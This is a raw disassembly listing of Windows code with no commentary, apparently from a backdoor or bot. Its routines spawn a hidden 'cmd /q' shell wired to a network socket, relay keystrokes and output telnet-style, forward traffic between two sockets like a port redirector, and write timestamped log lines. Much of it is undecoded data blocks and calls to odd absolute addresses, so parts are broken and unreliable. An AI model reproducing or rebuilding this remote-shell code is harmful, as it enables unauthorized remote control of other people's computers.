var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		push	44h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_58]
		push	esi
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41B590
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41B590
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		add	esp, 18h
		mov	[ebp+var_20], eax
		lea	eax, [ebp+var_18]
		mov	[ebp+var_58], edi
		mov	edi, dword_4270F8
		push	esi
		push	1
		push	2
		push	eax
		mov	[ebp+var_54], esi
		mov	[ebp+var_4C], esi
		mov	[ebp+var_50], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_48], esi
		mov	[ebp+var_28], si
		mov	[ebp+var_24], esi
		mov	[ebp+var_26], si
		mov	[ebp+var_2C], 101h
		mov	[ebp+var_1C], ebx
		call	edi
		push	eax
		push	ebx
		call	edi
		push	eax
		nop
		call	near ptr 26F0000h
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	esi
		push	1
		push	esi
		push	esi
		push	offset aCmdQ	; "cmd /q"
		push	esi
		nop
		call	near ptr 2640AE7h
		test	eax, eax
		jz	short loc_410FDB
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_C]
		imul	eax, 234h
		push	[ebp+var_10]
		mov	esi, [ebp+var_14]
		mov	dword_43DEB8[eax], ecx
		call	near ptr 2640871h
		nop
		jmp	short loc_410FF1
; ---------------------------------------------------------------------------


loc_410FDB:				; CODE XREF: sub_410F1F+9Aj
		nop
		call	near ptr 2660D84h
		push	eax
		push	offset unk_434474
		call	sub_415220
		mov	esi, [ebp+var_4]
		pop	ecx
		pop	ecx


loc_410FF1:				; CODE XREF: sub_410F1F+BAj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410F1F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410FF8	proc near		; DATA XREF: sub_410CD5+3Fo

var_1B0		= byte ptr -1B0h
var_C8		= byte ptr -0C8h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1B0h
		push	ebx
		push	esi
		mov	ebx, dword_4270E8
		push	edi
		mov	edi, [ebp+arg_0]
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]


loc_411021:				; CODE XREF: sub_410FF8+8Fj
		call	ebx
		test	eax, eax
		jz	short loc_411089
		xor	eax, eax
		xor	dl, dl
		xor	esi, esi
		cmp	[ebp+arg_0], eax
		jbe	short loc_41105C


loc_411032:				; CODE XREF: sub_410FF8+62j
		mov	cl, [ebp+esi+var_C8]
		cmp	cl, 0Ah
		jnz	short loc_41104C
		cmp	dl, 0Dh
		jz	short loc_41104C
		mov	[ebp+eax+var_1B0], 0Dh
		inc	eax


loc_41104C:				; CODE XREF: sub_410FF8+44j
					; sub_410FF8+49j
		mov	[ebp+eax+var_1B0], cl
		inc	eax
		inc	esi
		mov	dl, cl
		cmp	esi, [ebp+arg_0]
		jb	short loc_411032


loc_41105C:				; CODE XREF: sub_410FF8+38j
		push	0
		push	eax
		lea	eax, [ebp+var_1B0]
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CAFC4
		test	eax, eax
		jle	short loc_411089
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]
		jmp	short loc_411021
; ---------------------------------------------------------------------------


loc_411089:				; CODE XREF: sub_410FF8+2Dj
					; sub_410FF8+79j
		mov	esi, dword_42708C
		call	esi
		cmp	eax, 6Dh
		jz	short loc_4110A5
		call	esi
		push	eax
		push	offset dword_4344B4
		call	sub_415220
		pop	ecx
		pop	ecx


loc_4110A5:				; CODE XREF: sub_410FF8+9Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410FF8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4110AA	proc near		; DATA XREF: sub_410CD5+71o

var_DC		= byte ptr -0DCh
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0DCh
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], ebx


loc_4110C3:				; CODE XREF: sub_4110AA+39j
					; sub_4110AA+D7j ...
		push	ebx
		lea	eax, [ebp+arg_0+3]
		push	1
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CAF8C
		test	eax, eax
		jle	loc_4111C8
		cmp	[ebp+var_10], ebx
		jbe	short loc_4110E5
		dec	[ebp+var_10]
		jmp	short loc_4110C3
; ---------------------------------------------------------------------------


loc_4110E5:				; CODE XREF: sub_4110AA+34j
		mov	al, byte ptr [ebp+arg_0+3]
		movsx	ecx, al
		cmp	ecx, 0FFh
		jz	loc_4111A8
		cmp	al, 8
		mov	[ebp+var_C], ebx
		jz	short loc_411155
		cmp	al, 7Fh
		jz	short loc_411155
		cmp	al, 3
		jnz	short loc_411110
		push	ebx
		push	ebx
		nop
		call	near ptr 2750087h
		jmp	short loc_41117C
; ---------------------------------------------------------------------------


loc_411110:				; CODE XREF: sub_4110AA+5Aj
		cmp	al, 15h
		jnz	short loc_411132
		xor	esi, esi
		mov	[ebp+var_8], 20h
		mov	[ebp+var_7], 58h
		mov	[ebp+var_6], 58h
		mov	[ebp+var_5], 58h
		mov	[ebp+var_4], 0Dh
		mov	[ebp+var_3], 0Ah
		push	6
		jmp	short loc_411168
; ---------------------------------------------------------------------------


loc_411132:				; CODE XREF: sub_4110AA+68j
		mov	[ebp+esi+var_DC], al
		inc	esi
		push	1
		cmp	al, 0Dh
		mov	[ebp+var_8], al
		pop	ecx
		jnz	short loc_411169
		mov	[ebp+esi+var_DC], 0Ah
		mov	[ebp+var_7], 0Ah
		inc	esi
		push	2
		jmp	short loc_411168
; ---------------------------------------------------------------------------


loc_411155:				; CODE XREF: sub_4110AA+52j
					; sub_4110AA+56j
		cmp	esi, ebx
		jbe	short loc_41117F
		dec	esi
		mov	[ebp+var_8], 8
		mov	[ebp+var_7], 20h
		mov	[ebp+var_6], 8
		push	3


loc_411168:				; CODE XREF: sub_4110AA+86j
					; sub_4110AA+A9j
		pop	ecx


loc_411169:				; CODE XREF: sub_4110AA+98j
		push	ebx
		lea	eax, [ebp+var_8]
		push	ecx
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CAFC4
		test	eax, eax
		jle	short loc_4111C8


loc_41117C:				; CODE XREF: sub_4110AA+64j
		mov	al, byte ptr [ebp+arg_0+3]


loc_41117F:				; CODE XREF: sub_4110AA+ADj
		cmp	al, 0Dh
		jnz	loc_4110C3
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		lea	eax, [ebp+var_DC]
		push	esi
		push	eax
		push	dword ptr [edi+4]
		nop
		call	near ptr 26D0000h
		test	eax, eax
		jz	short loc_4111C8
		xor	esi, esi
		jmp	loc_4110C3
; ---------------------------------------------------------------------------


loc_4111A8:				; CODE XREF: sub_4110AA+47j
		cmp	[ebp+var_C], ebx
		jnz	short loc_4111B9
		mov	[ebp+var_C], 1
		jmp	loc_4110C3
; ---------------------------------------------------------------------------


loc_4111B9:				; CODE XREF: sub_4110AA+101j
		mov	[ebp+var_10], 0Ah
		mov	[ebp+var_C], ebx
		jmp	loc_4110C3
; ---------------------------------------------------------------------------


loc_4111C8:				; CODE XREF: sub_4110AA+2Bj
					; sub_4110AA+D0j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4110AA	endp

; ---------------------------------------------------------------------------
byte_4111CD	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+2C07o
		dd 2D4EC81h, 458B0000h,	57565308h, 0F08B106Ah, 2CBD8D5Bh
		dd 6AFFFFFFh, 0FC5D892Ch, 6AA5F359h, 5FF63301h,	0A8B889h
		dd 8D530000h, 5056EC45h, 0A38BE8h, 0CC48300h, 0EC45C766h
		dd 75FF0002h, 7415FFC0h, 6A004CAFh, 26A5706h, 0EE458966h
		dd 0FFF07589h, 4CAFF415h, 8BF88B00h, 0C069C445h, 234h
		dd 0BCB88953h, 8D0043DEh, 5750EC45h, 0AFA015FFh, 0C085004Ch
		dd 121850Fh, 0A6A0000h,	9C15FF57h, 85004CAFh, 10850FC0h
		dd 0FF000001h, 0B5FFC075h, 0FFFFFF2Ch, 0FF99A2E8h, 8D5059FFh
		dd 0FFFD2C85h, 0B8BC68FFh, 0E8500042h, 0A606h, 3910C483h
		dd 2075D075h, 2C858D56h, 0FFFFFFFDh, 8D50CC75h,	0FFFF3085h
		dd 0B5FF50FFh, 0FFFFFF2Ch, 0FF87CDE8h, 14C483FFh, 0FD2C858Dh
		dd 0E850FFFFh, 3EF8h, 0FC458D59h, 0DC458D50h, 15FF5750h
		dd 4CB008h, 8BC475FFh, 45B70FD8h, 758950DEh, 0E075FFD8h
		dd 0B00015FFh, 8D50004Ch, 0FFFD2C85h, 456068FFh, 0E8500043h
		dd 0A59Ah, 2C858D53h, 6AFFFFFDh, 0FBE85019h, 89FFFF9Dh
		dd 0C069C845h, 234h, 83C44D8Bh,	888920C4h, 43DEB4h, 5008458Dh
		dd 0FF2C858Dh, 5056FFFFh, 4113D268h, 0E8565600h, 224F255h
		dd 0C84D8B90h, 234C969h, 0C63B0000h, 0DEC48189h, 13740043h
		dd 0FD87539h, 0FFFF6385h, 0E8056AFFh, 224F1F9h,	0E8EDEB90h
		dd 224FA30h, 858D5090h,	0FFFFFD2Ch, 43452468h, 1FE85000h
		dd 830000A5h, 39E90CC4h, 57FFFFFFh, 0B00C15FFh,	75FF004Ch
		dd 2C858DC0h, 68FFFFFDh, 4344F0h, 0A4FCE850h, 0C4830000h
		dd 0D075390Ch, 8D562075h, 0FFFD2C85h, 0CC75FFFFh, 30858D50h
		dd 50FFFFFFh, 0FF2CB5FFh, 0C3E8FFFFh, 83FFFF86h, 858D14C4h
		dd 0FFFFFD2Ch, 3DEEE850h, 75FF0000h, 0A04CE8C4h, 5959FFFFh
		dd 31E89056h, 5F022AECh, 8B555B5Eh, 0D4EC81ECh,	8B000005h
		dd 56530845h, 8B2C6A57h, 0BD8D59F0h, 0FFFFFF38h, 758BA5F3h
		dd 89016AD4h, 0F6690875h, 234h,	0BCB68D5Fh, 890043DEh
		dd 0ACB8h, 8BDB3300h, 0F845C706h, 5, 0FA308589h, 458DFFFFh
		dd 8D5350F8h, 0FFFA2C85h, 535053FFh, 89FC5D89h,	0FFFA2CBDh
		dd 5C15FFFFh, 85004CAFh, 0FF1875C0h, 0C15FF36h,	0FF004CB0h
		dd 0C7E80875h, 59FFFF9Fh, 0ADE89053h, 53022AEBh, 0FB30858Dh
		dd 868FFFFh, 50000004h,	15FF36FFh, 4CAF8Ch, 187FC085h
		dd 15FF36FFh, 4CB00Ch, 0E80875FFh, 0FFFF9F96h, 0E8905359h
		dd 22AEB7Ch, 0FB30BD80h, 0F04FFFFh, 1ED85h, 31BD8000h
		dd 1FFFFFBh, 1E0850Fh, 5D380000h, 8D7774BCh, 8D50BC45h
		dd 0FFFB3885h, 0BDE850FFh, 590000ABh, 7459C085h, 0BC458D61h
		dd 38858D50h, 50FFFFFBh, 43462868h, 3D52E800h, 680000h
		dd 8D000004h, 0FFFB3885h, 885053FFh, 0FFFB309Dh, 3185C6FFh
		dd 5DFFFFFBh, 0A0A3E8h,	18C48300h, 0FB30858Dh, 6A53FFFFh
		dd 36FF5008h, 0AFC415FFh, 36FF004Ch, 0B00C15FFh, 75FF004Ch
		dd 9F00E808h, 5359FFFFh, 0EAE6E890h, 106A022Ah,	53E8458Dh
		dd 0A06AE850h, 8B660000h, 0FFFB3285h, 0CC483FFh, 0EA458966h
		dd 0FB34858Bh, 66AFFFFh, 66026A57h, 2E845C7h, 0EC458900h
		dd 0AFF415FFh, 0F88B004Ch, 75FFFF83h, 815FF5Dh,	50004CAFh
		dd 4345E868h, 3CBAE800h, 680000h, 8D000004h, 0FFFB3885h
		dd 885053FFh, 0FFFB309Dh, 3185C6FFh, 5BFFFFFBh,	0A00BE8h
		dd 14C48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h,	0AFC415FFh
		dd 36FF004Ch, 0B00C15FFh, 75FF004Ch, 9E68E808h,	5359FFFFh
		dd 0EA4EE890h, 458D022Ah, 50106AE8h, 1C15FF57h,	83004CAFh
		dd 5D75FFF8h, 0AF0815FFh, 6850004Ch, 4345A4h, 3C4BE8h
		dd 4006800h, 858D0000h,	0FFFFFB38h, 9D885053h, 0FFFFFB30h
		dd 0FB3185C6h, 0E85BFFFFh, 9F9Ch, 8D14C483h, 0FFFB3085h
		dd 86A53FFh, 0FF36FF50h, 4CAFC415h, 0FF36FF00h,	4CB00C15h
		dd 875FF00h, 0FF9DF9E8h, 905359FFh, 2AE9DFE8h, 4006802h
		dd 858D0000h, 0FFFFFB38h, 9D885053h, 0FFFFFB30h, 0FB3185C6h
		dd 0E85AFFFFh, 9F50h, 8D0CC483h, 0FFFB3085h, 86A53FFh
		dd 0FF36FF50h, 4CAFC415h, 5736FF00h, 39E8h, 57595900h
		dd 0B00C15FFh, 36FF004Ch, 0B00C15FFh, 75FF004Ch, 9D9CE808h
		dd 5359FFFFh, 0E982E890h, 36FF022Ah, 0B00C15FFh, 75FF004Ch
		dd 9D84E808h, 5359FFFFh, 0E96AE890h
; ---------------------------------------------------------------------------
		sub	al, [edx]
		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	ebx
		mov	ebx, [ebp+0Ch]
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, 400h


loc_4116AC:				; CODE XREF: ___:0041175Bj
					; ___:0041178Bj
		mov	[ebp-100h], ebx
		mov	dword ptr [ebp-104h], 1
		xor	ecx, ecx
		lea	eax, [ebp-100h]


loc_4116C4:				; CODE XREF: ___:004116D2j
		mov	edx, [ebp+8]
		cmp	[eax], edx
		jz	short loc_4116D4
		inc	ecx
		add	eax, 4
		cmp	ecx, 1
		jb	short loc_4116C4


loc_4116D4:				; CODE XREF: ___:004116C9j
		cmp	ecx, 1
		jnz	short loc_4116E9
		mov	[ebp-0FCh], edx
		mov	dword ptr [ebp-104h], 2


loc_4116E9:				; CODE XREF: ___:004116D7j
		push	esi
		lea	eax, [ebp-504h]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp-104h]
		push	edi
		push	edi
		push	edi
		push	eax
		push	edi
		call	dword_4CAF5C
		lea	eax, [ebp-104h]
		push	eax
		push	ebx
		call	dword_4CAE60
		test	eax, eax
		jz	short loc_411749
		push	edi
		lea	eax, [ebp-504h]
		push	esi
		push	eax
		push	ebx
		call	dword_4CAF8C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411791
		push	edi
		push	eax
		lea	eax, [ebp-504h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CAFC4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411791


loc_411749:				; CODE XREF: ___:0041171Bj
		lea	eax, [ebp-104h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CAE60
		test	eax, eax
		jz	loc_4116AC
		push	edi
		lea	eax, [ebp-504h]
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CAF8C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411791
		push	edi
		push	eax
		lea	eax, [ebp-504h]
		push	eax
		push	ebx
		call	dword_4CAFC4
		cmp	eax, 0FFFFFFFFh
		jnz	loc_4116AC


loc_411791:				; CODE XREF: ___:00411730j
					; ___:00411747j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
word_411796	dw 8B55h		; DATA XREF: sub_401ACD+210Do
					; sub_40BACD+106o
		dd 7CEC81ECh, 8B000008h, 56530855h, 33016A57h, 0A9B958DBh
		dd 8B000000h, 8CBD8DF2h, 53FFFFFCh, 0A5F3026Ah,	0FE9C85FFh
		dd 26AFFFFh, 89F04589h,	4589EC45h, 0A08289F8h, 0FF000002h
		dd 4CAFF415h, 83F08B00h, 5675FFFEh, 19068h, 5AE89000h
		dd 390224EDh, 0FFFF289Dh, 532375FFh, 0F888858Dh, 0B5FFFFFFh
		dd 0FFFFFF24h, 0A4858D50h, 50FFFFFEh, 0FC8CB5FFh, 5FE8FFFFh
		dd 83FFFF82h, 858D14C4h, 0FFFFF888h, 398AE850h,	0B5FF0000h
		dd 0FFFFFE98h, 0FF9BE5E8h, 535959FFh, 0E7CAE890h, 458D022Ah
		dd 50046AF0h, 0FFFFBFh,	57046A00h, 5415FF56h, 8D004CAFh
		dd 46AEC45h, 57FB6A50h,	5415FF56h, 8B004CAFh, 0FFFE9885h
		dd 69106AFFh, 234C0h, 0B0895300h, 43DEBCh, 50D4458Dh, 9D17E8h
		dd 0CC48300h, 0D445C766h, 0B5FF0002h, 0FFFFFEA0h, 0AF7415FFh
		dd 8966004Ch, 458DD645h, 50106AD4h, 0D85D8956h,	0AFA015FFh
		dd 0F883004Ch, 681975FFh, 1388h, 0EC93E890h, 8DFF0224h
		dd 0FFFFFE9Ch, 0E90875FFh, 347h, 0FC90858Dh, 6868FFFFh
		dd 50004290h, 9BF1E8h, 0C33B5900h, 0FC458959h, 90684C75h
		dd 90000001h, 24EC60E8h, 858D5302h, 0FFFFF888h,	0FF24B5FFh
		dd 8D50FFFFh, 0FFFEA485h, 0B5FF50FFh, 0FFFFFC8Ch, 0FF816DE8h
		dd 88858DFFh, 50FFFFF8h, 389BE8h, 98B5FF00h, 0E8FFFFFEh
		dd 0FFFF9AF6h, 531CC483h, 2AE6DBE8h, 7D8B9002h,	0A09F3908h
		dd 0F000002h, 29584h, 80BF00h, 858D0000h, 0FFFFFF30h, 0C7505357h
		dd 5E445h, 45C70000h, 1388E8h, 88B58900h, 0C7FFFFF7h, 0FFF78485h
		dd 1FFh, 9C2AE800h, 0C4830000h,	0E4458D0Ch, 858D5350h
		dd 0FFFFF784h, 0FF535053h, 4CAF5C15h, 0FC08500h, 2398Eh
		dd 0D128A000h, 0CF8B0043h, 0FA888588h, 0C033FFFFh, 0FA89BD8Dh
		dd 45C7FFFFh, 10F4h, 66ABF300h,	458DAAABh, 458D50F4h, 8D5350C4h
		dd 0FFFF3085h, 8068FFh,	56500000h, 0AF4C15FFh, 75FF004Ch
		dd 0F84589C8h, 0B00015FFh, 8D50004Ch, 0E850B045h, 9EAEh
		dd 0FF309D38h, 5959FFFFh, 1C2850Fh, 0BD800000h,	0FFFFFF31h
		dd 0BB850F01h, 8D000000h, 0FFFD9485h, 0E1E850FFh, 53000095h
		dd 0FC75FF53h, 0B7E3E8h, 0FC75FF00h, 0FA8C858Dh, 9D88FFFFh
		dd 0FFFFFA88h, 0FA8985C6h, 6803FFFFh, 200h, 8850016Ah
		dd 0FFFA8A9Dh, 8B85C6FFh, 1FFFFFAh, 96E1E8h, 20C48300h
		dd 89C44D8Dh, 0C083F845h, 0F475FF04h, 8D505351h, 0FFFA8885h
		dd 0FF5650FFh, 4CAFD815h, 0B0458D00h, 88858D50h, 68FFFFF8h
		dd 434694h, 9E18E850h, 0C4830000h, 289D390Ch, 75FFFFFFh
		dd 858D5323h, 0FFFFF888h, 0FF24B5FFh, 8D50FFFFh, 0FFFEA485h
		dd 0B5FF50FFh, 0FFFFFC8Ch, 0FF7FD9E8h, 14C483FFh, 0F888858Dh
		dd 0E850FFFFh, 3704h, 110E959h,	0BD800000h, 0FFFFFF31h
		dd 0ED850F04h, 8A000000h, 0FFFF338Dh, 32858AFFh, 80FFFFFFh
		dd 9D88FFF9h, 0FFFFFA88h, 0FA8985C6h, 7503FFFFh, 32C0FE12h
		dd 8A8588C9h, 88FFFFFAh, 0FFFA8B9Dh, 0FE0EEBFFh, 8A8588C1h
		dd 88FFFFFAh, 0FFFA8B8Dh, 0C0B60FFFh, 0C1C9B60Fh, 0C10308E0h
		dd 200BFh, 9E0C100h, 5053C72Bh,	0E8FC75FFh, 0B6D4h, 8DFC75FFh
		dd 0FFFA8C85h, 16A57FFh, 95F0E850h, 0C4830000h,	8DF88B1Ch
		dd 7D89C445h, 0F475FFF8h, 4478D50h, 858D5053h, 0FFFFFA88h
		dd 15FF5650h, 4CAFD8h, 6E75FB3Bh, 50B0458Dh, 0F888858Dh
		dd 7468FFFFh, 50004346h, 9D21E8h, 0CC48300h, 0FF289D39h
		dd 2375FFFFh, 88858D53h, 0FFFFFFF8h, 0FFFF24B5h, 858D50FFh
		dd 0FFFFFEA4h, 8CB5FF50h, 0E8FFFFFCh, 0FFFF7EE2h, 8D14C483h
		dd 0FFF88885h, 0DE850FFh, 0FF000036h, 4CDA7C05h, 16EB5900h
		dd 8DF475FFh, 5350C445h, 6868096Ah, 56004346h, 0AFD815FFh
		dd 5D39004Ch, 5F8F0FF8h, 8BFFFFFDh, 0FF56087Dh,	4CB00C15h
		dd 0FC75FF00h, 9482E8h,	9C8DFF00h, 39FFFFFEh, 2A09Fh, 13755900h
		dd 0FE98B5FFh, 1FE8FFFFh, 59FFFF98h, 5E89053h, 68022AE4h
		dd 3E8h, 0E93FE890h, 0E8570224h, 0FFFFFB8Ah, 0C95B5E5Fh
; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 314h
		lea	eax, [ebp-10h]
		push	esi
		push	eax
		nop
		call	near ptr 27501DDh
		lea	eax, [ebp-114h]
		push	104h
		push	eax
		nop
		call	near ptr 2660000h
		lea	eax, [ebp-114h]
		push	offset asc_434E54 ; "\\"
		push	eax
		call	sub_41BEC0
		lea	eax, [ebp-114h]
		push	offset dword_429118
		push	eax
		call	sub_41BEC0
		lea	eax, [ebp-114h]
		push	offset aAb	; "ab"
		push	eax
		call	sub_41B4C2
		mov	esi, eax
		add	esp, 18h
		test	esi, esi
		jnz	short loc_411C7A
		push	1
		pop	eax
		jmp	short loc_411CF1
; ---------------------------------------------------------------------------


loc_411C7A:				; CODE XREF: ___:00411C73j
		movzx	eax, word ptr [ebp-4]
		push	dword ptr [ebp+8]
		push	eax
		movzx	eax, word ptr [ebp-6]
		push	eax
		movzx	eax, word ptr [ebp-8]
		push	eax
		movzx	eax, word ptr [ebp-10h]
		push	eax
		movzx	eax, word ptr [ebp-0Ah]
		push	eax
		movzx	eax, word ptr [ebp-0Eh]
		push	eax
		push	offset aDDDDDDS	; "[%d-%d-%d %d:%d:%d] %s\r\n"
		push	esi
		call	sub_41BE06
		push	esi
		call	sub_41B05B
		add	esp, 28h
		cmp	dword ptr [ebp+98h], 0
		jnz	short loc_411CEF
		push	dword ptr [ebp+8]
		lea	eax, [ebp-314h]
		push	offset dword_434E24
		push	200h
		push	eax
		call	sub_41B980
		push	0
		lea	eax, [ebp-314h]
		push	dword ptr [ebp+94h]
		push	eax
		lea	eax, [ebp+14h]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	sub_409A72
		add	esp, 24h


loc_411CEF:				; CODE XREF: ___:00411CB6j
		xor	eax, eax


loc_411CF1:				; CODE XREF: ___:00411C78j
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
dword_411CF4	dd 81EC8B55h, 8DCECh, 8458B00h,	83575653h, 0FFF724A5h
					; DATA XREF: sub_401ACD+4508o
		dd 256A00FFh, 0FC6583h,	8DF08B59h, 0FFFF24BDh, 0C7A5F3FFh
		dd 9080h, 100h,	0FFB900h, 0C0330000h, 0F728BD8Dh, 0ABF3FFFFh
		dd 0AEF815FFh, 4D8D004Ch, 513C6AB8h, 0F8458950h, 0AF1015FFh
		dd 0BB004Ch, 6A000002h,	0EEE89008h, 0FF0224E7h,	4CAEF815h
		dd 0F8453B00h, 4D8D7574h, 513C6AB8h, 0F8458950h, 0AF1015FFh
		dd 458D004Ch, 858D50B8h, 0FFFFFD24h, 24858D50h,	68FFFFFBh
		dd 434E84h, 9AF8E850h, 0EC810000h, 84h,	0FF24B58Dh, 858DFFFFh
		dd 0FFFFFB24h, 8B59256Ah, 0A5F350FCh, 0FFFE66E8h, 0FC4589FFh
		dd 24858D53h, 6AFFFFFDh, 0D1E85000h, 81000097h,	0A4C4h
		dd 24858D00h, 53FFFFFBh, 0E850006Ah, 97BCh, 0C70CC483h
		dd 46BC0845h, 106A0043h, 0AE4815FFh, 0BF0F004Ch, 8458BF0h
		dd 57FC788Bh, 0AF4015FFh, 0C4F6004Ch, 6A7B7480h, 4815FF14h
		dd 66004CAEh, 1F74C085h, 7EFFFE83h, 40FF831Ah, 0FF83157Eh
		dd 0C7107D5Bh, 0F724BD84h, 1FFFFh, 7FE90000h, 6A000001h
		dd 4815FF14h, 66004CAEh, 1E74C085h, 2E7DF685h, 7E40FF83h
		dd 5BFF8315h, 84C7107Dh, 0FFF724BDh, 2FFh, 154E900h, 0F6850000h
		dd 84C7107Dh, 0FFF724BDh, 3FFh,	140E900h, 84C70000h, 0FFF724BDh
		dd 4FFh, 130E900h, 0B48B0000h, 0FFF724BDh, 0BD848DFFh
		dd 0FFFFF724h, 840FF685h, 11Ah,	8D002083h, 0FFFD2485h
		dd 8FF83FFh, 0E8137550h, 9140h,	2305A480h, 0FFFFFDh, 0F8E959h
		dd 2DE80000h, 3D000091h, 1B9h, 0FF257659h, 4CAEF815h, 0B84D8D00h
		dd 50513C6Ah, 0AF1015FFh, 458D004Ch, 858D50B8h,	0FFFFFD24h
		dd 4E6C6850h, 41EB0043h, 0F0DFF83h, 8F85h, 24858D00h, 50FFFFFDh
		dd 90EBE8h, 59C08500h, 0A8840Fh, 15FF0000h, 4CAEF8h, 6AB84D8Dh
		dd 0FF50513Ch, 4CAF1015h, 0B8458D00h, 24858D50h, 50FFFFFDh
		dd 434E5868h, 24858D00h, 50FFFFFBh, 9959E8h, 84EC8100h
		dd 8D000000h, 0FFFF24B5h, 24858DFFh, 6AFFFFFBh,	0FC8B5925h
		dd 0E8A5F350h, 0FFFFFCC7h, 53FC4589h, 0FD24858Dh, 6AFFFFh
		dd 9632E850h, 0C4810000h, 0A4h,	0FB24858Dh, 6A53FFFFh
		dd 1DE85000h, 83000096h, 2EEB0CC4h, 7401FE83h, 3FE8314h
		dd 0FE830F74h, 83057402h, 1A7504FEh, 0EB0875FFh, 8458B07h
		dd 5007C083h, 0FD24858Dh, 0E850FFFFh, 9F1Ch, 45835959h
		dd 7D811408h, 434DEC08h, 278C0F00h, 83FFFFFEh, 0F00FC7Dh
		dd 0FFFD8E84h, 28B5FFFFh, 0E8FFFFFFh, 0FFFF9446h, 0E8006A59h
		dd 22AE02Ch
		db 90h
byte_411FD5	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+412Ao
		dd 102B4B8h, 9B3EE800h,	558B0000h, 6A575608h, 0F28B5801h
		dd 0BD8D256Ah, 0FFFFFF4Ch, 0F8458959h, 8289A5F3h, 90h
		dd 106AF633h, 56E4458Dh, 9582E850h, 0C4830000h,	45C7660Ch
		dd 560002E4h, 0AF7415FFh, 0B5FF004Ch, 0FFFFFF4Ch, 0E6458966h
		dd 0FF8BE2E8h, 0FF5059FFh, 4CAFB415h, 36A5600h,	4589026Ah
		dd 0F415FFE8h, 8B004CAFh, 0FFFF83F8h, 75FC7D89h, 815FF5Dh
		dd 50004CAFh, 0FD4C858Dh, 0F468FFFFh, 50004357h, 9821E8h
		dd 0CC48300h, 75D87539h, 858D5620h, 0FFFFFD4Ch,	50D475FFh
		dd 0FF50858Dh, 0FF50FFFFh, 0FFFF4CB5h, 79E8E8FFh, 0C483FFFFh
		dd 4C858D14h, 50FFFFFDh, 3113E8h, 0D075FF00h, 0FF9371E8h
		dd 565959FFh, 0DF56E890h, 458B022Ah, 69106AD0h,	234C0h
		dd 0BCB88900h, 8D0043DEh, 5750E445h, 0AFA015FFh, 0F883004Ch
		dd 0FF6475FFh, 4CAF0815h, 858D5000h, 0FFFFFD4Ch, 4357C868h
		dd 0A3E85000h, 83000097h, 75390CC4h, 562075D8h,	0FD4C858Dh
		dd 75FFFFFFh, 858D50D4h, 0FFFFFF50h, 4CB5FF50h,	0E8FFFFFFh
		dd 0FFFF796Ah, 8D14C483h, 0FFFD4C85h, 95E850FFh, 59000030h
		dd 0C15FF57h, 0FF004CB0h, 0EBE8D075h, 59FFFF92h, 0D1E89056h
		dd 56022ADEh, 56E0458Dh, 8D565650h, 46AF845h, 16850h, 0FF579800h
		dd 4CAF2015h, 0FFF88300h, 15FF6475h, 4CAF08h, 4C858D50h
